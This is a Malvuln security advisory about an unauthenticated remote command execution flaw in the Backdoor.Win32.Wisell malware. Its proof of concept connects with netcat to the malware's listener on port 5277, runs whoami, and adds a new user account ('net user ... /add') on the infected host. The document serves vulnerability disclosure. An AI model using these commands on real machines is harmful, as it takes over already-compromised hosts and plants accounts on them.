Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/57bda78cc5fd6a06017148bae28e8e39.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wisell
Vulnerability: Unauthenticated Remote Command Execution 
Description: The malware listens on TCP port 5277. Third-party attackers who can reach an infected system can run any OS commands further compromising the host. 
Type: PE32
MD5: 57bda78cc5fd6a06017148bae28e8e39
Vuln ID: MVID-2022-0460
Disclosure: 01/19/2022

Exploit/PoC:
nc64.exe x.x.x.x 5277
WinShell v1.0 - '!' to quit, 'enter' to shell...
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\dump>whoami
whoami
desktop-2c3iqho\victim

C:\dump>net user HYP3RLINX 666 /add
net user HYP3RLINX 666 /add
The command completed successfully.


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